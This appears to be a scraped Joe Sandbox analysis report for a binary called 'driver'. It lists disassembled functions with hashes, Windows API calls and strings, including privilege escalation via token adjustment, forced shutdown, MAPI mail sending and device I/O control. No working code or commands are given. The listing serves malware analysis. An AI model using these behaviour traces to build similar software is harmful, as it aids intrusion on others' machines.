Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 411d7b25b7741598cf03863e25d24bf48610486a3c99f02e8a0c5b63dfa1e3f7
Instruction ID: bd9dafff2fe6d6da9a352b4bd8c7a277e7613d5f112b1e06bac9dad846666664
Opcode Fuzzy Hash: 411d7b25b7741598cf03863e25d24bf48610486a3c99f02e8a0c5b63dfa1e3f7
Instruction Fuzzy Hash: 9DB0123208830C17490065D9A403C4533CC5508554B001006B50C47101D825F45001DD

Function 0043A558 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bf335d133c4b31dda3cd4321ebe01e027f16d910011cf46f64424cf97510dd2
Instruction ID: f46deb5ea20315547d97862b23a9f74c6acf8539ef61920139e7061bb41898c2
Opcode Fuzzy Hash: 9bf335d133c4b31dda3cd4321ebe01e027f16d910011cf46f64424cf97510dd2
Instruction Fuzzy Hash: 31B0123208830C26490065D9A40285533CC4508514B500006B50C47101D825F5500199

Function 0043B51A Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ae2d3e606c1ceabb6b4a6491b6d521cfbf0af0aa0bbd1ec1bf0b7c842c436df
Instruction ID: b330b63fd5db91ff1a71419f2fbc03c20ebc1e8b280022b847837893a521fda3
Opcode Fuzzy Hash: 0ae2d3e606c1ceabb6b4a6491b6d521cfbf0af0aa0bbd1ec1bf0b7c842c436df
Instruction Fuzzy Hash: 03A0025244520424580431B1741B526124DC45422CB10644FB1084A5939D5E5550545D

Function 0043A71C Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a58a07f6604102c237335ac962d82106959492ee94c454b5c2be7e9bb7cb94ed
Instruction ID: 2afe9c15fc64520705900ff93814ec457c79bd13f8e21df0e69a06f477630270
Opcode Fuzzy Hash: a58a07f6604102c237335ac962d82106959492ee94c454b5c2be7e9bb7cb94ed
Instruction Fuzzy Hash: 4AB0123244830C26490065DDA40684637CC450C514B000006B50C47111D826F550859D

Function 0043B3B4 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: f93ad5f00a56466d27291db40c1105638db8132c28aa5f83f4a226fdc7faddfc
Instruction ID: 5357eebf88c3649602d9b81743c960e038c775a2401a260577a32c446b542e9e
Opcode Fuzzy Hash: f93ad5f00a56466d27291db40c1105638db8132c28aa5f83f4a226fdc7faddfc
Instruction Fuzzy Hash: 18A001A358862819980532F67A0B669265C8D5923CB643B4BF678955D39A1E92A000AA

Function 00403C50 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 10c5ad27d158e09c54c2b0f9a575e50574357b58b5b9d0f2e138edb7a428843c
Instruction ID: 480212039a05bd7c9bd338a6304b6f42ef47d520c682fd92d0048fc48fb76b2c
Opcode Fuzzy Hash: 10c5ad27d158e09c54c2b0f9a575e50574357b58b5b9d0f2e138edb7a428843c
Instruction Fuzzy Hash: 57A0243100010C33C5003D43DC01C057F1C47103547004033F50C150134533F57050FC

Function 0040A3F0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6178abcf550df711b942c24ed5513d671b2df0842c36697f96d38e5593f1f42
Instruction ID: 28af2d548417cb90318a78e78be5a24f5bfdf0e4422bbed620f7f76308dbfbbb
Opcode Fuzzy Hash: e6178abcf550df711b942c24ed5513d671b2df0842c36697f96d38e5593f1f42
Instruction Fuzzy Hash: 4EB0027D500240DEEA055B61CA49D6539D7BF88205BCA84F5510419176C6FB45756644

Function 0042E764 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 6cea29abdddd0eaa4863cf0fdaf9a3d76c0e04e73c30807386b59328d0b384ba
Instruction ID: 6745df87795036e4aceb540ab297f32aa59f114bfe3801ef60c61e07686f0419
Opcode Fuzzy Hash: 6cea29abdddd0eaa4863cf0fdaf9a3d76c0e04e73c30807386b59328d0b384ba
Instruction Fuzzy Hash:

Non-executed Functions

Function 0042FB20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 0042FB40
OpenProcessToken.ADVAPI32(00000000,00000020,?), ref: 0042FB46
LookupPrivilegeValueA.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 0042FB68
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,SeSecurityPrivilege,?,00000000,00000020,?), ref: 0042FB80
GetLastError.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,SeSecurityPrivilege,?,00000000,00000020,?), ref: 0042FB89
LookupPrivilegeValueA.ADVAPI32(00000000,SeRestorePrivilege,?), ref: 0042FBA4
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,SeRestorePrivilege,?,00000000,SeSecurityPrivilege,?,00000000,00000020,?), ref: 0042FBBC
CloseHandle.KERNEL32(?,00000000,SeRestorePrivilege,?,00000000,SeSecurityPrivilege,?,00000000,00000020,?), ref: 0042FBC4

Strings

SeSecurityPrivilege, xrefs: 0042FB61
SeRestorePrivilege, xrefs: 0042FB9D

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Token$AdjustLookupPrivilegePrivilegesProcessValue$CloseCurrentErrorHandleLastOpen
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2567606174-639343689
Opcode ID: cc28d337ff00705da8a6d2100022d5f998fd7d921fb1591795d0009a6ace2962
Instruction ID: 5fce6bc17b829f910f9a5b663651000b88d7bd723a9666a8c941faf5b8d02798
Opcode Fuzzy Hash: cc28d337ff00705da8a6d2100022d5f998fd7d921fb1591795d0009a6ace2962
Instruction Fuzzy Hash: AF1177707407047AFF10EBA1DD17FAE7A689B01B05F64057AB900A91C2DBE86A14876D

Function 004029D0 Relevance: 11.7, Strings: 9, Instructions: 442COMMON

Download Yara Rule

Strings

U, xrefs: 00402B32
yyyymmddhhmmss, xrefs: 004029F5, 004029FA
%05.5d, xrefs: 00402D26
mAD, xrefs: 00402BB2
%04.4d, xrefs: 00402C43
%02.2d, xrefs: 00402C5D, 00402C77, 00402C91, 00402CAB, 00402CC5, 00402CE0
%03.3d, xrefs: 00402D12
.rar, xrefs: 00402BAB, 00402BB7
%.1d, xrefs: 00402CF0

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: %.1d$%02.2d$%03.3d$%04.4d$%05.5d$.rar$U$mAD$yyyymmddhhmmss
API String ID: 0-3758361825
Opcode ID: 986c2465420071e9bed7232bd195c9c8712ad08e9ecd263567237119869eb7e8
Instruction ID: 5128fa1aec446f2210cee8b180d94936cb9f31faaf036eb43d30a238817db45b
Opcode Fuzzy Hash: 986c2465420071e9bed7232bd195c9c8712ad08e9ecd263567237119869eb7e8
Instruction Fuzzy Hash: 8FF12575D001589EDF21DB64DC85BEE7B76AF51308F1440FAE848B22C2DBB85E84CB59

Function 0040C734 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 0040C740
OpenProcessToken.ADVAPI32(00000000,00000028,?), ref: 0040C746
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040C75A
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,00000028,?), ref: 0040C77C
ExitWindowsEx.USER32(0000000D,80000000), ref: 0040C788

Strings

SeShutdownPrivilege, xrefs: 0040C753

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentExitLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 1314775590-3733053543
Opcode ID: 123a323f6ac28e08a82d9991813b3fa806ca13fed06188cecc37be41c64b8044
Instruction ID: 466795fce0247fb390653b16d954a236cbf355b73f5757a51b44bdf710f34aca
Opcode Fuzzy Hash: 123a323f6ac28e08a82d9991813b3fa806ca13fed06188cecc37be41c64b8044
Instruction Fuzzy Hash: 98F03770A80709B6F710EFD18C47FAE7368AB40F09F60425DBA04791C1DBF96B048669

Function 004042E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000000,00000000), ref: 00404310
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 00404321
GetDiskFreeSpaceA.KERNEL32(00000000,?,?,?,?,00000000,00000000), ref: 004043C0

Strings

GetDiskFreeSpaceExA, xrefs: 0040431B
kernel32.dll, xrefs: 0040430B

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressDiskFreeHandleModuleProcSpace
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1197914913-3712701948
Opcode ID: fd047fd1d9ebee0ef75babebfca81ce818ab2df2e4dd0e1600d4d597ebb41744
Instruction ID: 048fc90b96a017cffd3fe76efa305b98d6673b75bdb101493c107acdbf8aaf7b
Opcode Fuzzy Hash: fd047fd1d9ebee0ef75babebfca81ce818ab2df2e4dd0e1600d4d597ebb41744
Instruction Fuzzy Hash: CA3130B0E001199FDB14DFA5CC81AEFB3B5FB88304F449566E904F6284E7789E45CB58

Function 0040710C Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

OemToCharBuffA.USER32(?,?,00000000), ref: 004074E5

Part of subcall function 0040BB80: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,01000000,?,?,0040F758), ref: 0040BB8F

Strings

$, xrefs: 0040729E
CMT, xrefs: 004071D5
5, xrefs: 004072A7

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Char$BuffByteMultiWide
String ID: $$5$CMT
API String ID: 2262112766-658447730
Opcode ID: cb7cd55a5d43c693da1c2a815f3714ad67e42c66a20270f54cb53d7c412fcc6a
Instruction ID: ce0824a874b4fca01fb6e9de787ce8ccaf41b76f9049c4fbf4548387fa2a27ac
Opcode Fuzzy Hash: cb7cd55a5d43c693da1c2a815f3714ad67e42c66a20270f54cb53d7c412fcc6a
Instruction Fuzzy Hash: E6B1E870E082545BEB10EF65CC817EE77A6AF44304F1844BBF804AA3C6D67CAE45D76A

Function 00433310 Relevance: 5.4, Strings: 4, Instructions: 427COMMON

Download Yara Rule

Strings

%5lu %16s %8s %3d%%, xrefs: 00433911
%5lu %16s %8s %3d%%, xrefs: 0043372F
%s, xrefs: 00433540
, xrefs: 00433763

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID:
String ID: %5lu %16s %8s %3d%%$%5lu %16s %8s %3d%%$ $ %s
API String ID: 0-3451817315
Opcode ID: e2224f92d93e7a2ed97efcdc57712e13ef81087dea712b4eced9d2fe8f31a6cd
Instruction ID: 54e96ac53fdc970f60703759630a14186cf26e47bd77425ea5450595b5f91763
Opcode Fuzzy Hash: e2224f92d93e7a2ed97efcdc57712e13ef81087dea712b4eced9d2fe8f31a6cd
Instruction Fuzzy Hash: 82F12770A00244AAEF25EFA9C8467EFBBB5AF0831AF14546FE440623C2C77D5B44CB59

Function 00404B5C Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000003,00000003,00000000,00000003,0A000000,00000000), ref: 00404B8B
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 00404BC0
CloseHandle.KERNEL32(00000000,?,00000003,00000003,00000000,00000003,0A000000,00000000), ref: 00404BC8

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 5975044f2c35300187c1d3e6ba3e988b4878f27a0b34f5beb12bdfe7df36fbd6
Instruction ID: fbc0f6e024eea5a60f2d426c68613503534581971991a1cd9b4a516a491b43cd
Opcode Fuzzy Hash: 5975044f2c35300187c1d3e6ba3e988b4878f27a0b34f5beb12bdfe7df36fbd6
Instruction Fuzzy Hash: A001D661A9030875FB3096A48C83FDAB2AC9B00B50F1005A6B711BE1C1E9F96F844398

Function 0040C2EC Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 286libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(MAPI32.DLL,00000000,?,?), ref: 0040C303
GetProcAddress.KERNEL32(00000000,MAPISendMail), ref: 0040C31B
GetProcAddress.KERNEL32(00000000,MAPIResolveName), ref: 0040C329
GetProcAddress.KERNEL32(00000000,MAPIFreeBuffer), ref: 0040C337
FreeLibrary.KERNEL32(00000000,00000000,MAPIFreeBuffer,00000000,MAPIResolveName,00000000,MAPISendMail,MAPI32.DLL,00000000,?,?), ref: 0040C352

Strings

MAPI32.DLL, xrefs: 0040C2FE
MAPIResolveName, xrefs: 0040C323
SMTP:, xrefs: 0040C465
MAPISendMail, xrefs: 0040C315
MAPIFreeBuffer, xrefs: 0040C331

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 2449869053-4165214152
Opcode ID: 04728af1b7ce35ff8c496aa90801d98255ca0388ebb8e5f23e39d044600f552c
Instruction ID: 9e55febb8d385b1fcfc27abd2b6b267e7da5bdb159ae5b9f5860c9a0bc18ca42
Opcode Fuzzy Hash: 04728af1b7ce35ff8c496aa90801d98255ca0388ebb8e5f23e39d044600f552c
Instruction Fuzzy Hash: A8B1B031900618EBDB20DF65DC81BEFB7B4AF48305F1441AEE509762C1DB79AA84CF98

Function 0042BC1C Relevance: 15.1, APIs: 10, Instructions: 60COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6,?,00000002,?), ref: 0042BC2C
GetStdHandle.KERNEL32(000000F5,000000F6,?,00000002,?), ref: 0042BC35
GetConsoleMode.KERNEL32(00000000,?,000000F5,000000F6,?,00000002,?), ref: 0042BC46
GetConsoleMode.KERNEL32(00000000,?,00000000,?,000000F5,000000F6,?,00000002,?), ref: 0042BC50
SetConsoleMode.KERNEL32(00000000,00000002,00000000,?,00000000,?,000000F5,000000F6,?,00000002,?), ref: 0042BC58
SetConsoleMode.KERNEL32(00000000,00000003,00000000,00000002,00000000,?,00000000,?,000000F5,000000F6,?,00000002,?), ref: 0042BC60
ReadConsoleA.KERNEL32(00000000,?,?,?,00000000,00000000,00000003,00000000,00000002,00000000,?,00000000,?,000000F5,000000F6,?), ref: 0042BC72
OemToCharA.USER32(?,?), ref: 0042BC80
SetConsoleMode.KERNEL32(00000000,?,?,?,00000000,?,?,?,00000000,00000000,00000003,00000000,00000002,00000000,?,00000000), ref: 0042BC89
SetConsoleMode.KERNEL32(00000000,?,00000000,?,?,?,00000000,?,?,?,00000000,00000000,00000003,00000000,00000002,00000000), ref: 0042BC92

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000028.00000002.20431899656.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000444000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432041389.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.0000000000458000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000028.00000002.20432331845.000000000045A000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_400000_driver.jbxd

Similarity

API ID: Console$Mode$Handle$CharRead
String ID:
API String ID: 717309600-0
Opcode ID: 6a10ad7c35421c0ab4ff765f6b11e19f7eb0c2893a54487e5cb4d90714995ef8
Instruction ID: 4fa39f3eef919790b77caa3ed6b0c62de04243d9117f8b3ca5cfeccc9565292a
Opcode Fuzzy Hash: 6a10ad7c35421c0ab4ff765f6b11e19f7eb0c2893a54487e5cb4d90714995ef8
Instruction Fuzzy Hash: 43018261A042147AF712EFB58C82EFFB6BC9F45B69F10425EF514A6182DB7C4F0143A9

Function 0043AC50 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(borlndmm), ref: 0043AC73
GetProcAddress.KERNEL32(00000000,@Borlndmm@SysGetMem$qqri), ref: 0043AC88
GetProcAddress.KERNEL32(00000000,@Borlndmm@SysFreeMem$qqrpv), ref: 0043AC95
GetProcAddress.KERNEL32(00000000,@Borlndmm@SysReallocMem$qqrpvi), ref: 0043ACA2

Strings

@Borlndmm@SysGetMem$qqri, xrefs: 0043AC82
@Borlndmm@SysReallocMem$qqrpvi, xrefs: 0043AC9C
borlndmm, xrefs: 0043AC6E
@Borlndmm@SysFreeMem$qqrpv, xrefs: 0043AC8F

Memory Dump Source

Source File: 00000028.00000002.20431935441.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

